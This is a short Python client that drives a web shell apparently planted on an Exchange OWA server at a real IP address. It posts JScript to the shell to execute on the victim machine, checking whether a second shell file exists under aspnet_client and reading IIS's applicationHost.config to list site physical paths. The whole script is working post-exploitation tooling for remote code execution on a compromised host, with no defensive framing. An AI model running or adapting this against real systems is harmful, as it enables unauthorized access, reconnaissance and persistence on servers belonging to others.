#!/usr/bin/env python3
import requests
requests.packages.urllib3.disable_warnings()
EVAL = "https://79.127.113.30/owa/auth/spbymr.aspx"
def ev(code): return requests.post(EVAL, data={"exec_code": code}, verify=False, timeout=30).text.split('!BD')[0]

print("== file exists? ==", flush=True)
print(ev('Response.Write(System.IO.File.Exists("C:\\\\inetpub\\\\wwwroot\\\\aspnet_client\\\\c.aspx"));'), flush=True)
print("== iis sites/vdirs (physicalPath & aspnet_client) ==", flush=True)
code = ('var t=System.IO.File.ReadAllText("C:\\\\Windows\\\\System32\\\\inetsrv\\\\config\\\\applicationHost.config");'
        'var L=t.split(String.fromCharCode(10));var o="";'
        'for(var i=0;i<L.length;i++){var s=L[i];'
        'if(s.indexOf("physicalPath")>=0||s.indexOf("aspnet_client")>=0||s.indexOf("</sites>")>=0||s.indexOf("<sites")>=0){o+=i+":"+s.replace(/^\\s+/,"")+"\\n";}}'
        'Response.Write(o);')
print(ev(code)[:2500], flush=True)